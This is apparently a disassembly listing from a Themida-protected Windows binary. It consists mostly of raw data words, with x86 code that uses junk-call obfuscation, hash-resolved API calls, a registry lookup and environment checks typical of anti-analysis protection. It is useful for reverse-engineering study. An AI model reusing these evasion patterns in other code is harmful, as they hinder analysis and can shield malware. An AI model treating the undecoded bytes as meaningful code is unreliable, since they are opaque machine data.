8A0F5006h, 6, 1EDD8D33h dd 858D0612h, 614F961h, 2465BD8Bh, 0BF0F0612h, 0BD8B50CAh dd 6122E69h, 132195FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0AF185C3h, 6E9h, 0FE52BD00h dd 895D50FAh, 1233E19Dh, 0CC48306h, 14E8h, 66478700h, 3EDA0068h dd 282C2584h, 163AF23Fh, 0D0ABD8E4h, 0CED98197h, 5F62D2D6h dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 614F961h dd 4195FF50h, 89061204h, 15027185h, 0C185C606h, 47061215h dd 0B15E8768h, 0F1B5FFC7h, 8D061217h, 123B4885h, 6AD0FF06h dd 71B5FF00h, 0FF061502h, 7DBD31D0h, 29061219h, 122DB58Dh dd 37D03D06h, 830F0000h, 4Bh, 0AE9h, 11345100h, 0A21E157Ch dd 0FFCAFEA2h, 150271B5h, 81950306h, 0F061225h, 28Ch, 0FFA3B600h dd 121BB195h, 68B0F06h, 89000000h, 122DDD8Dh, 84E906h dd 6E90000h, 14000000h, 0D56E0F52h, 85858972h, 0FF061208h dd 150271B5h, 0FFD18B06h, 121BB195h, 0A9B58906h, 6A06122Ah dd 69B52900h, 89061200h, 120F31BDh, 89006A06h, 1207D58Dh dd 0F006A06h, 8B66D7BFh, 81006ACBh, 0A57A68E7h, 8B006A72h dd 1218AD95h, 8B006A06h, 75858DC8h, 8B061502h, 820F50D0h dd 6, 1CE99D89h, 95890612h, 6121725h, 44195FFh, 8B660612h dd 0FFF883CAh, 14E850Fh, 858D0000h, 614BD74h, 0D0FFC88Bh dd 12499589h, 6A0612h, 792EF281h, 6A04A2h, 32919D89h, 6A0612h dd 6A3BD280h, 0C99D8900h, 6A061211h, 5AFC5200h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 12E976C3h, 3F000000h, 0FB3CA8D1h, 391C5A47h, 26119E84h dd 4EEEE8BBh, 75858D7Ah, 0F061502h, 1881h, 10E800h, 5E3B0000h dd 0D10B49E7h, 532865Ch, 617C9D3Eh, 6160CAFBh, 0BF0F5059h dd 4195FFD3h, 0E8061204h, 11h, 979DFBC2h, 0CE52EDDFh, 0A59968E5h dd 625DE451h, 89B531F7h, 5A061200h, 8618589h, 0F8830612h dd 8D850FFFh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0ED34C351h, 0AE4AB809h dd 9E8h, 0B0739A00h, 2E049393h, 0BD2B6E24h, 6121A09h, 0FE8B665Ah dd 0FC7DB58Dh, 8D8B0614h, 61214A5h, 0A6D0858Dh, 830F0614h dd 1, 8BD0FFF8h, 121BC195h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0BC8EC357h dd 0D13CDED0h, 0F5D981EFh, 2B5BD8Bh, 95FF0612h, 6122E3Dh dd 2718589h, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9D89ADC3h, 612132Dh, 8B66006Ah dd 0D58D8BD7h, 8D061226h, 15026985h, 50CA8B06h, 33B5958Bh dd 46A0612h, 0CE9h, 9BF12400h, 9DAB8301h, 0F4534AC7h, 0C1858D8Dh dd 8B061212h, 121F9DBDh, 79BD8B06h, 50061208h, 3B5BBF66h dd 0D38A006Ah, 8C0F006Ah, 6, 3265BD09h, 16A0612h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D6C35343h, 8BB43DDDh dd 8DBD8BF8h, 0FF061223h, 150271B5h, 0F9B58906h, 0FF061221h dd 12165D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E9CD8D7Fh, 0Eh, 4AAC1E37h, 0C6AAFF8Ah dd 1D7E5D08h, 0F9E9FE6Bh, 5200001Ah, 149D8D2Bh ; --------------------------------------------------------------------------- adc al, [esi] pop edi loc_5AD2B3: ; CODE XREF: Themida_:005ACD8Ej mov eax, eax mov edi, ebx cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5AD2C9 cmp dword ptr [ebp+6122149h], 0 jz short loc_5AD2E2 loc_5AD2C9: ; CODE XREF: Themida_:005AD2BEj push eax push ebx mov eax, eax mov eax, 7D2h mov [ebp+6120B35h], eax lea ebx, [ebp+614AD09h] call ebx ; _iob pop ebx pop eax loc_5AD2E2: ; CODE XREF: Themida_:005AD2C7j cmp dword ptr [ebp+6122149h], 0 jz short loc_5AD302 push eax push ebx mov eax, 7D2h mov [ebp+6120B35h], eax lea ebx, [ebp+614A9F8h] call ebx ; _iob pop ebx pop eax loc_5AD302: ; CODE XREF: Themida_:005AD2E9j push 0 push edx call sub_5AD30D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD30D proc near ; CODE XREF: Themida_:005AD305p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5AD30D endp ; --------------------------------------------------------------------------- sub ah, ch pusha mov [ebp+6122465h], ebx popa push 0 push ecx call sub_5AD332 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD332 proc near ; CODE XREF: Themida_:005AD32Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5AD332 endp ; --------------------------------------------------------------------------- or eax, 9D89C08Bh add [edi], edx adc al, [esi] mov dword ptr [ebp+6120EE9h], 1 push 0 push esi call sub_5AD360 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD360 proc near ; CODE XREF: Themida_:005AD358p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5AD360 endp ; --------------------------------------------------------------------------- icebp sahf and dl, 0BDh push 0CEE4E7B8h push dword ptr [ebp+6122FD1h] lea eax, [ebp+6123B48h] call eax mov [ebp+6120B75h], eax lea eax, [ebp+61504CDh] push eax lea eax, [ebp+615078Ah] push eax push 80000001h call dword ptr [ebp+6120B75h] or eax, eax jnz short loc_5AD3B5 mov dword ptr [ebp+6122DB1h], 1 loc_5AD3B5: ; CODE XREF: Themida_:005AD3A9j push 0C005DBD4h push dword ptr [ebp+6122FD1h] lea eax, [ebp+6123B48h] call eax mov [ebp+6121469h], eax lea eax, [ebp+614F71Ah] push eax push dword ptr [ebp+61217F1h] call dword ptr [ebp+6122A6Dh] or eax, eax jz short loc_5AD3F0 mov ebx, eax lea eax, [ebp+61506CDh] push eax call ebx ; _iob loc_5AD3F0: ; CODE XREF: Themida_:005AD3E3j lea eax, [ebp+61506CDh] cmp word ptr [eax], 9 jnz short loc_5AD406 mov dword ptr [ebp+6121DC5h], 1 loc_5AD406: ; CODE XREF: Themida_:005AD3FAj call dword ptr [ebp+61233ADh] and eax, 0FFh cmp eax, 5 jnb short loc_5AD420 mov dword ptr [ebp+6121FC9h], 1 loc_5AD420: ; CODE XREF: Themida_:005AD414j sub [ebp+6121FB9h], ebx and edx, [ebp+6120021h] cmp byte ptr [ebp+61502DCh], 0 jz loc_5AD45D push esi cld pop edi cmp dword ptr [ebp+6150786h], 0 jz loc_5AD465 call near ptr loc_5AD456+4 test ch, ah mov bl, 0DBh jnb short near ptr loc_5AD474+3 cmp dl, ah loc_5AD456: ; CODE XREF: Themida_:005AD449p adc esi, [edi-8758987h] pop edi loc_5AD45D: ; CODE XREF: Themida_:005AD433j jmp loc_5AEDA4 ; --------------------------------------------------------------------------- movsx edx, cx loc_5AD465: ; CODE XREF: Themida_:005AD443j cmp dword ptr [ebp+6121DC5h], 0 jnz loc_5AD56F mov ch, dl loc_5AD474: ; CODE XREF: Themida_:005AD452j or edx, [ebp+6122C45h] lea eax, [ebp+61502A6h] push 0 push ebp call sub_5AD48B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD48B proc near ; CODE XREF: Themida_:005AD483p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5AD48B endp ; --------------------------------------------------------------------------- db 88h ; --------------------------------------------------------------------------- shl dword ptr [edx+ebp*2-3AF9E87Bh], 0C4h mov ebp, 26D5BD89h adc al, [esi] sub dx, 2540h push eax and cx, 36FAh push 1 push 0 push edi call sub_5AD4C3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD4C3 proc near ; CODE XREF: Themida_:005AD4BBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5AD4C3 endp ; --------------------------------------------------------------------------- db 5Eh dd 0F50E2815h, 91666E8Eh, 66006A48h, 6A4EF4BFh, 8D8B6000h dd 61219A9h, 0B999D29h, 0FF610612h, 12293195h, 3880F06h dd 80000000h, 8589B7D1h, 61502D0h, 6ADAF680h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 952F8B40h, 9E90710h, 0D8000000h, 5A6A33FBh, 0D6FC3BE1h dd 2D0B5FFh, 0EF810615h, 5C4872A1h, 147595FFh, 6A0612h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0AEA823C3h db 77h, 0C2h, 34h ; --------------------------------------------------------------------------- loc_5AD56F: ; CODE XREF: Themida_:005AD46Cj lea eax, [ebp+614F6E1h] mov cl, 0AFh push eax mov dx, 0AC14h call dword ptr [ebp+612289Dh] mov edi, [ebp+61227EDh] add di, 1A2Ch mov [ebp+614F76Bh], eax mov dl, bh lea eax, [ebp+614F6EEh] jb loc_5AD5A7 mov [ebp+61211D9h], ecx loc_5AD5A7: ; CODE XREF: Themida_:005AD59Bj push eax mov ch, al mov [ebp+6121681h], ecx push dword ptr [ebp+614F76Bh] mov dl, ah call dword ptr [ebp+6122A6Dh] push 0 push ebx call sub_5AD5C9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD5C9 proc near ; CODE XREF: Themida_:005AD5C1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5AD5C9 endp ; --------------------------------------------------------------------------- db 4, 68h, 29h dd 12320D95h, 0A1858906h, 0F806121Ch, 0F75C858Dh, 6E80614h dd 70000000h, 0E04FDCB6h, 5AF88BA1h, 9D958B50h, 8B061214h dd 12255D95h, 6BB5FF06h, 0F0614F7h, 681h, 0DD8D8B00h, 0FF061226h dd 122A6D95h, 0D9853106h, 8906122Bh, 14F77F85h, 558D3106h dd 8B06122Ah, 1217018Dh, 3B858D06h, 890614F7h, 1208D18Dh dd 6A5006h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 937BD6C3h, 8B03758Ch, 121C4995h, 29EF8106h dd 0FF1CB291h, 14F76BB5h, 14E806h, 0AD630000h, 4D044876h dd 6659225Ch, 0C41A24DAh, 0C1D60BD8h, 8157306Ah, 7ADACCD9h dd 0FF59596Fh, 122A6D95h, 8974B106h, 14F77785h, 0DE8B6006h dd 2588B966h, 2E858D61h, 660614F7h, 509CEABAh, 9D89D18Bh dd 61227C5h, 0F76BB5FFh, 6E90614h, 20000000h, 0D9D6B319h dd 0FFF78AECh, 122A6D95h, 38BF6606h, 0FBBF0F72h, 0F77B8589h dd 0F2800614h, 49858D69h, 8B0614F7h, 12E950F9h, 0AA000000h dd 0B24AC47Ch, 63C294CFh, 795FE196h, 0EBF02A8Eh, 6BB5FF91h dd 500614F7h, 5AF88B66h, 2A6D95FFh, 0BD890612h, 61213D5h dd 89CABF0Fh, 12278D85h, 43A9BF06h, 858D2156h, 614F6FDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 6C35646h dd 8F5A803Fh, 91F05017h, 21858912h, 0B206122Ch, 800F5072h dd 6, 88ED981h, 0B5FF057Eh, 614F76Bh, 2B018D8Bh, 95FF0612h dd 6122A6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0B6C35141h, 0B2C3AB99h, 9E2150EEh, 0D1BF0F24h dd 8944D980h, 14F76F85h, 0FFB70F06h, 0F70C858Dh, 0EF810614h dd 71F89242h, 0F58D2B50h, 0FF061222h, 14F76BB5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6D95FF44h, 0F06122Ah, 8589FAB7h, 614F773h, 68C9B70Fh dd 104h, 13E9h, 0CC824400h, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h dd 59915907h, 0F803858Dh, 8D8B0614h, 6122C79h, 50D2BF0Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FBC35242h dd 1A89DDCAh, 66C0F6B7h, 3248D781h, 0F907858Dh, 85890614h dd 612131Dh, 8D8D8950h, 60061221h, 16699D89h, 0C6810612h dd 68C693h, 4D95FF61h, 0F061214h, 886h, 2850F00h, 60000000h dd 0FC08561h, 685h, 0BD9D8900h, 80061207h, 1502DCBDh, 850F0006h dd 27h, 36D8D8Bh, 0F5E90612h, 6A000014h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8376C351h dd 121DC5BDh, 850F0006h, 18h, 791BD31h, 0BD830612h, 6150786h dd 43840F00h, 66000000h, 0E0F6F181h, 0F7A0858Dh, 0B5890614h dd 61207E1h, 14A3E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 504BDB2Bh, 19E9h, 0C9B70F00h dd 3279BD8Bh, 858D0612h, 614F78Bh, 2880F51h, 60000000h dd 8B505961h, 1213E195h, 8DCF8B06h, 14F80385h, 6E806h dd 0BEEC0000h, 3880ED75h, 0B95BD8Bh, 0B95F0612h, 0FB33AF1h dd 0C9858950h, 8306121Bh, 121DC5BDh, 840F0006h, 2Ah, 16BE6660h dd 8D8B61FFh, 6122379h, 0F929858Dh, 8C0F0614h, 6, 259D958Bh dd 13E90612h, 0F9000000h, 2E918509h, 858D0612h, 614F912h dd 2CD18589h, 0F500612h, 681h, 0FD958B00h, 8D061219h, 14F96185h dd 0F1BD2906h, 50061210h, 0FFEAE180h, 12132195h, 0D2B70F06h dd 6610C483h, 0C08BF98Bh, 0DF04EA81h, 0BD832D10h, 6122F01h dd 83097500h, 122149BDh, 19740006h, 0C08B5350h, 7D3B8h dd 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h, 49BD8358h dd 61221h, 53501774h, 7D3B8h, 35858900h, 8D06120Bh, 14A9F89Dh dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0E779765Ch, 55BC293Ah, 12E90447h dd 0C5000000h, 807B6D69h, 65EA7746h, 0BEE6271Bh, 0B780124Fh dd 79BD8B5Ch, 8B061226h, 810F53C0h, 2, 81595F57h, 14F78BBDh dd 65726F06h, 0BE840F61h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0C7FEC351h dd 80A1F895h, 0F803858Dh, 8D500614h, 14F94085h, 858D5006h dd 614F961h, 2195FF50h, 83061213h, 85C60CC4h, 61215C1h dd 184F6844h, 0B5FF96A3h, 61217F1h, 3B48858Dh, 0D0FF0612h dd 858DD88Bh, 614F961h, 8DD3FF50h, 14F78B85h, 858D5006h dd 614F803h, 0C5BD8350h, 6121Dh, 858D0874h, 614F929h, 858D06EBh dd 614F912h, 61858D50h, 500614F9h, 132195FFh, 0C4830612h dd 0AE810h, 94A0000h, 71ECC27Fh, 58C7CB81h, 8E8h, 6FCEFC00h dd 2B6ECD77h, 0FAF181C8h, 5A7D797Ch, 0AD95FF5Fh, 6A061233h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 2565C351h, 0FFh, 0F883CF8Ah, 48830F05h, 0F000000h dd 185h, 85C7FC00h, 6121FC9h, 1, 8E9h, 0BA25A200h, 4C30E85Dh dd 0BF858D79h, 290614F7h, 1215ADBDh, 0A8E906h, 0EE90000h dd 27000000h, 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h, 72E28140h dd 8365B82Bh, 121DC5BDh, 840F0006h, 6Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 91C35343h, 675CC060h dd 3EA26276h, 1FCD9D09h, 0F500612h, 289h, 5F616000h, 0F7EA858Dh dd 9600614h, 123455BDh, 5890F06h, 66000000h, 0D687E781h dd 30E961h, 0FE80000h, 0AA000000h, 36D5CA83h, 8A513318h dd 0C936E454h, 9501C305h, 612036Dh, 0CC858D5Ah, 600614F7h dd 5E9h, 37A97400h, 0EB80CD6Eh, 858961D7h, 614F7FFh, 8E8h dd 0A5B9AC00h, 47231031h, 8D8D8BF2h, 5A061208h, 1DC5BD83h dd 0F000612h, 4185h, 0F6C28100h, 8351C97Ch, 150786BDh dd 840F0006h, 34h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 9C35343h, 1DD51B43h, 5FB824F0h, 5E9h dd 9F7B1200h, 0E5E94C08h, 0F5000010h, 52AE9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 9A109216h, 0D1B70F97h, 0BD33C08Bh, 61225BDh, 2F01BD83h dd 75000612h, 49BD8309h, 61221h, 53501974h, 0D4B8C08Bh dd 89000007h, 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h dd 122149BDh, 17740006h, 0D4B85350h, 89000007h, 120B3585h dd 0F89D8D06h, 0FF0614A9h, 89585BD3h, 122F51BDh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0E125F34Fh, 0C77EF281h, 0C08B3E38h, 32C5BD89h, 3F680612h dd 89000F00h, 1232E185h, 0F8006A06h, 13B9006Ah, 0FF229E0Ah dd 121CA195h, 0C5BD8B06h, 85061218h, 19850FC0h, 0E8000000h dd 0Dh, 0ED4827Ch, 0AF8572E9h, 4C0DAF9Ch, 89B58984h, 59061218h dd 0F7838589h, 0FE80614h, 34000000h, 2001E6D0h, 0EF1DDA29h dd 0B4B3B77Dh, 0C7816A0Ah, 1F5B3F8Ah, 9006A5Ah, 122E01BDh dd 6AFB8B06h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0E931B65Fh, 0Ch, 0EE0FD29Eh, 9A46ED8Bh dd 0E77D1FEDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0A5E7BAC3h, 6A006A5Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0C573C350h, 0C1B535EFh, 0AE9006Ah, 53000000h, 0D01BE089h dd 0D28372A7h, 61858D62h, 0B90614F9h, 2B8A3C99h, 11E9h dd 5B6CD600h, 0C7178C55h, 33C13124h, 605E4AC8h, 8950B1D7h dd 1223AD9Dh, 60016A06h, 0F099D89h, 95290612h, 6122CF5h dd 6A016A61h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0A3BFC352h, 16A005Ah, 1FCD8D89h dd 0FF680612h, 89000F01h, 1215BDBDh, 0C5BD8306h, 6121Dh dd 55840Fh, 8B660000h, 0E0858DCBh, 6A0614F7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 2A9EC353h, 0BD8B4AA0h, 6120009h, 13F5958Bh, 0BD8B0612h dd 6122755h, 30E9h, 11E900h, 612C0000h, 5A6CE7CBh, 16014453h dd 0C1A7F5F1h, 8D972EC9h, 14F7B685h, 0FE906h, 7FED0000h dd 279D4BC6h, 339AE408h, 5E71F3DBh, 880F505Dh, 12h, 6E8h dd 54664B00h, 0F0F9830h, 8Bh, 0E9505A00h, 7, 0A095BFA3h dd 0FF177D8Fh, 14F783B5h, 0B9C28106h, 0FF1973F6h, 14F76F95h dd 7DB58906h, 89061229h, 12332D9Dh, 0FC08506h, 5185h, 90BA6600h dd 99E94Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0D5233EC3h, 1D820FD5h, 0E8000000h dd 11h, 125EECA1h, 2AB413B9h, 0EAB696DEh, 0E91143Eh, 4995035Ch dd 5A061204h, 1225B589h, 85890612h, 614F787h, 2CDBD03h dd 0B5890612h, 6121655h, 0F787B5FFh, 6A0614h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DA9DE4C3h dd 80222DA9h, 0FFAC7527h, 12278D95h, 0FC08506h, 685h, 8D0F00h dd 6A000000h, 459D8910h, 8306121Dh, 121DC5BDh, 840F0006h dd 50h, 858D51B6h, 614F7E0h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 10C35747h, 10ED057Bh, 51116D8Fh dd 1F75BD23h, 0E9590612h, 0Dh, 49A22FC2h, 192165F8h, 741E0F82h dd 0FE95Fh, 8D090000h, 6121299h, 0F7B6858Dh, 0DA800614h dd 6A50ADh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 4D01BDC3h, 15F54F97h, 0EE9B01Dh, 28000000h dd 4FFCA2h, 0BDCA5BFBh, 0F80CD2DDh, 3A68BA4Eh, 0B5FF69C0h dd 614F783h, 0BDE18166h, 7B95FF42h, 850614F7h, 21850FC0h dd 0E8000000h, 11h, 454A89ADh, 62CDB2Eh, 0CB444D5Ch, 0C21B7A38h dd 0BD8956F0h, 61200C5h, 0D78B5F5Fh, 0F7878589h, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 305FA2C3h, 9FD9BBBDh, 0EA816686h, 6A5093h, 33D9503h dd 6A0612h, 0FFD68B66h, 14F787B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0DD520290h dd 277D8501h, 95FF0612h, 614F773h, 543B01BFh, 0FC08532h dd 0C85h, 0DD8D8900h, 29061220h, 121979BDh, 87B5FF06h dd 0B90614F7h, 13BCB07Fh, 278D95FFh, 53500612h, 23CBC181h dd 5A5A01CAh, 0FC085F5h, 2A85h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 523554C1h dd 0A2596626h, 0C59D09C3h, 6A061228h, 8B666000h, 6AA9B9DFh dd 68615316h, 80h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0E6C35747h, 0FDB91486h, 89A510A3h, 12302595h dd 9036A06h, 1232919Dh, 2B006A06h, 122121BDh, 0A0F58006h dd 0B529006Ah, 6122E65h, 1BB9BD29h, 680612h, 0FC00000h dd 0B5FFFBBFh, 614F7FFh, 2345BD89h, 95FF0612h, 6120441h dd 0CE8h, 58FA3600h, 804C49BEh, 4A45EE21h, 0FD8D8BA9h dd 5F061217h, 0FFF883F9h, 44E850Fh, 8D8B0000h, 6121BADh dd 26D85FFh, 8D890615h, 6120285h, 26DBD83h, 0F020615h dd 35584h, 0FD9D0100h, 8D061219h, 5B243B85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0B502C086h, 0FD0FF52h, 68Eh, 8DB58900h, 8D061203h, 5B1E8E85h dd 0BD858900h, 906120Eh, 1225E1B5h, 89D0FF06h, 1223F59Dh dd 0B1C08B06h, 1BD83CAh, 6122Fh, 0BD830975h, 6122149h dd 50197400h, 0B8C08B53h, 7D8h, 0B358589h, 9D8D0612h, 614AD09h dd 585BD3FFh, 2149BD83h, 74000612h, 0B8535017h, 7D8h, 0B358589h dd 9D8D0612h, 614A9F8h, 585BD3FFh, 1D719501h, 85890612h dd 61233F1h, 3820Fh, 0BF0F0000h, 8BC08BCBh, 3F68FAh, 8960000Fh dd 12109195h, 0BDB86606h, 0B501612Eh, 6121B05h, 958B006Ah dd 61208BDh, 0BD0B006Ah, 6120B39h, 1CA195FFh, 95890612h dd 6120B39h, 0BD03C085h, 6120049h, 0F7838589h, 0BA660614h dd 0D78B0CBCh, 0F01FF68h, 0C2EF8100h, 836C2DEAh, 121DC5BDh dd 840F0006h, 14h, 49958Bh, 0E1800612h, 0E0858D15h, 0E90614F7h dd 8, 0F7B6858Dh, 57B60614h, 2D952B50h, 0BF061229h, 6545234Fh dd 0F783B5FFh, 0BD890614h, 6122CD1h, 0F77B95FFh, 0DE90614h dd 0B9000000h, 11F86549h, 0CE0B5038h, 0EE1CA13Ch, 0F7878589h dd 880F0614h, 8, 0F1BD0960h, 6106122Eh, 0EE8h, 67403300h dd 4EAD6BDAh, 0E7B94EFFh, 668D7FFAh, 5FF6BABAh, 26ED85C7h dd 612h, 0BD8B0000h, 61230A5h, 0F787BD83h, 0F000614h, 19B84h dd 0B2C98100h, 8D736E58h, 14FA6585h, 0DD8D3306h, 0E906121Dh dd 0Ah, 0CE512F07h, 0BA40B02Ah, 8150642Ah, 218362DAh, 0ECBA6652h dd 89016AB0h, 121A9585h, 87B5FF06h, 890614F7h, 1207CD8Dh dd 7F95FF06h, 0F90614F7h, 0F787B5FFh, 9D010614h, 6122899h dd 303DBD03h, 95FF0612h, 612278Dh, 2FF59589h, 0FF680612h dd 89000F01h, 122D49BDh, 71958B06h, 83061223h, 121DC5BDh dd 840F0006h, 5Eh, 9F68EF81h, 858D5AB4h, 614F7E0h, 158B0Fh dd 0EE80000h, 97000000h, 7427491Bh, 82525936h, 29EF095Ah dd 0E95FF51Fh, 40h, 6E8h, 3458F000h, 0E81B090Eh, 8, 80CB6C66h dd 14EB8576h, 0CE8h, 28957700h, 86A82B8Eh, 0EDD001F6h dd 5A595AEDh, 17118D23h, 858D0612h, 614F7B6h, 9D89D78Bh dd 61211D9h, 5860F50h, 66000000h, 6AE6D781h, 0F783B5FFh dd 0D2810614h, 0EA30688h, 0F77B95FFh, 0FE90614h, 30000000h dd 8C19038Eh, 7B462C1Bh, 7A44F6A3h, 85891E4Fh, 614F787h dd 8D1BD8Bh, 0B5FF0612h, 614F787h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0ABC35545h, 0F855FFBBh, 0A8E169E1h dd 0B4BF66ECh, 14E87Eh, 59D50000h, 80666FB7h, 8B56B2BBh dd 8EEE2875h, 0E1EC9D1h, 0BB23853h, 7795FF5Ah, 660614F7h dd 0BDFCCF81h, 0F787B5FFh dd 85890614h, 61224A1h, 278D95FFh, 8D8B0612h, 6121A7Dh dd 0FFF6F3E9h, 0A6C6BAFFh, 0B5FF5B8Eh, 61502D0h, 118DB589h dd 0F08A0612h, 278195FFh, 0C2810612h, 7F0FA501h, 6DF8160h dd 8B1F96ABh, 1211A1BDh, 858B6106h, 6120055h, 7D8D8B60h dd 0E9061225h, 6, 0A47ED2E7h, 0E96107A9h, 53Ch, 1F81B589h dd 10E90612h, 0ED000000h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh dd 8DB32EADh, 14FA85B5h, 858DF806h, 614A6D0h, 3359D89h dd 0D0FF0612h, 13B58589h, 6A0612h, 2AC5BD8Bh, 95FF0612h dd 6122E3Dh, 8E78166h, 56F38BF5h, 0F118589h, 8D590612h dd 14A6D085h, 68C0F06h, 2B000000h, 1227E5BDh, 0FD0FF06h dd 88Bh, 28F0F00h, 57000000h, 7256BA5Ah, 6A781Eh, 6820Fh dd 0EA810000h, 17D47CFCh, 2E3D95FFh, 0BD8B0612h, 6122425h dd 7E9C08Bh, 2D000000h, 0E6BB443Dh, 0BD838C4Ah, 6122F01h dd 83097500h, 122149BDh, 19740006h, 0C08B5350h, 7D9B8h dd 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h, 49BD8358h dd 61221h, 53501774h, 7D9B8h, 35858900h, 8D06120Bh, 14A9F89Dh dd 5BD3FF06h, 13E858h, 924F0000h, 6629F4CFh, 2229982Ah dd 9C7E224h, 83D80CB2h, 0B1B58930h, 5A061211h, 25D5B589h dd 0C08B0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0B0C35646h, 72B966BFh, 91BD8BDBh, 5006121Dh, 0D88B00B2h dd 2465B529h, 8D530612h, 1224E59Dh, 89038B06h, 50438B03h dd 8D504389h, 1502699Dh, 89038B06h, 8D8B5B03h, 612082Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0FAC35646h dd 52E2798Bh, 0A6CA8151h, 5A6ABDE4h, 8B006A59h, 121AE58Dh dd 69858D06h, 89061502h, 1216A59Dh, 85295006h, 61227C5h dd 25E3DF81h, 606A3AA4h, 6880Fh, 8D8B0000h, 612146Dh, 33518D8Bh dd 858D0612h, 61224E5h, 0BD0150F5h, 61214B1h, 8589006Ah dd 61231E9h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 35BA0EC3h, 680677CBh, 1800h, 59BD8BFCh dd 5306120Ch, 2FF59529h, 95FF0612h, 612165Dh, 0CA5958Bh dd 95FF0612h, 6121BB1h, 2CB19589h, 0B5FF0612h, 61502D0h dd 861B589h, 95FF0612h, 6122781h, 16018D8Bh, 8B660612h dd 0E5858DF8h, 3061224h, 1228EDBDh, 0CEBF0F06h, 6A18408Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 667EC351h, 553D281h, 87EDBA66h, 158585C7h dd 612h, 958B0000h, 61215A5h, 1DC5BD83h, 0F000612h, 3A84h dd 5FF55300h, 